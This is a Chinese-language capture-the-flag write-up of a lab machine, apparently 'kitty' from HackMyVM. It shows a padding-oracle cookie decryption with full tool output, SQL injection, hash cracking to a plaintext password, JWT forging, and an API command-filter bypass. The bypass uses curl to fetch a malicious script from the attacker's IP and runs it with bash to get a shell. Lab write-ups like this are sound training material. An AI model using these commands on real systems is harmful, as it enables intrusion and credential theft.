端口扫描:
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3000/tcp open ppp gitea
使用curl访问80端口, 被重定向到http://kitty.hmv.
该网站为一个静态网站，通过ffuf获取到了虚拟主机名 cookie.kitty.hmv.
注册用户test，查看cookie:
使用 oraclepadding.pl 破解该cookie。
➜ ~ ./oraclepadding.pl http://cookie.kitty.hmv/home/index.php OZcSZ4xSsGEpdRpik43lIg0RsEWxBcJG 8 -cookies "auth=OZcSZ4xSsGEpdRpik43lIg0RsEWxBcJG" +-------------------------------------------+ | PadBuster - v0.3.3 | | Brian Holyfield - Gotham Digital Science | | labs@gdssecurity.com | +-------------------------------------------+ INFO: The original request returned the following [+] Status: 200 [+] Location: N/A [+] Content Length: 8144 INFO: Starting PadBuster Decrypt Mode *** Starting Block 1 of 2 *** INFO: No error string was provided...starting response analysis *** Response Analysis Complete *** The following response signatures were returned: ------------------------------------------------------- ID# Freq Status Length Location ------------------------------------------------------- 1 1 302 8144 ../login.php 2 ** 255 302 0 ../logout.php?err=1 ------------------------------------------------------- Enter an ID that matches the error condition NOTE: The ID# marked with ** is recommended : 2 Continuing test with selection 2 [+] Success: (237/256) [Byte 8] [+] Success: (41/256) [Byte 7] [+] Success: (219/256) [Byte 6] [+] Success: (75/256) [Byte 5] [+] Success: (240/256) [Byte 4] [+] Success: (143/256) [Byte 3] [+] Success: (29/256) [Byte 2] [+] Success: (188/256) [Byte 1] Block 1 Results: [+] Cipher Text (HEX): 29751a62938de522 [+] Intermediate Bytes (HEX): 4ce47715b126d512 [+] Plain Text: user=tes Use of uninitialized value $plainTextBytes in concatenation (.) or string at ./oraclepadding.pl line 361,line 1. *** Starting Block 2 of 2 *** [+] Success: (220/256) [Byte 8] [+] Success: (32/256) [Byte 7] [+] Success: (119/256) [Byte 6] [+] Success: (112/256) [Byte 5] [+] Success: (160/256) [Byte 4] [+] Success: (229/256) [Byte 3] [+] Success: (139/256) [Byte 2] [+] Success: (171/256) [Byte 1] Block 2 Results: [+] Cipher Text (HEX): 0d11b045b105c246 [+] Intermediate Bytes (HEX): 5d721d65948ae225 [+] Plain Text: t ------------------------------------------------------- ** Finished *** [+] Decrypted value (ASCII): user=test [+] Decrypted value (HEX): 757365723D7465737407070707070707 [+] Decrypted value (Base64): dXNlcj10ZXN0BwcHBwcHBw== -------------------------------------------------------
将用户名改为 admin，获取新的cookie.
0x02 sql injection更新cookie后，刷新页面后，在页面中出现了 last_login.js，在该js的接口中存在sql注入。
使用 sqlmap, 获取到用户 gitea’s 密码hash和salt.
| 357f47546ba3ab1cf633d3d0c54e2583 | gitea |
| salt | YXZpam5leWFt |
使用 hashcat破解得到密码：
➜ ~ hashcat -m 10 -a 0 357f47546ba3ab1cf633d3d0c54e2583:YXZpam5leWFt /usr/share/wordlists/rockyou.txt --show 357f47546ba3ab1cf633d3d0c54e2583:YXZpam5leWFt:git0ffme0x03 openapi to shell
使用账户gitea登录host:3000， 获取到了新的子域名: http://whythisapiissofast.kitty.hmv.
访问 http://whythisapiissofast.kitty.hmv/openapi.json，检查各个api。
- 访问 api http://whythisapiissofast.kitty.hmv/api/v2/-1，获取到用户nobody。
- 访问 api http://whythisapiissofast.kitty.hmv/api/v2/-2，获取到一个私钥。
3. 使用nobody获取access token，这是一个jwt。
4. 使用hashcat破解jwt的password。
- 伪造token，将用户nobody改为admin, is_admin改为1，超时时间多加点。
6. 通过api /api/v2/secure/{command}执行命令，但是这里存在一个过滤
7. 使用curl远程下载恶意sh，通过bash执行绕过过滤实现命令执行，成功获取shell。
这里需要将nginx的index改为test.sh。
(1) whythisapiissofast.kitty.hmv/api/v2/secure/curl%20-o%20test.sh%20192.168.85.169%20-wget
(2) whythisapiissofast.kitty.hmv/api/v2/secure/bash%20test.sh%20-wget
0x04 get user flaghome目录下存在两个用户。
利用步骤3找到的私钥通过ssh登录用户dyutidhara，成功获取用户flag。
0x05 root提权试了一些办法都失败了，有成功的小伙伴请在评论区告诉我一声，求帮助。
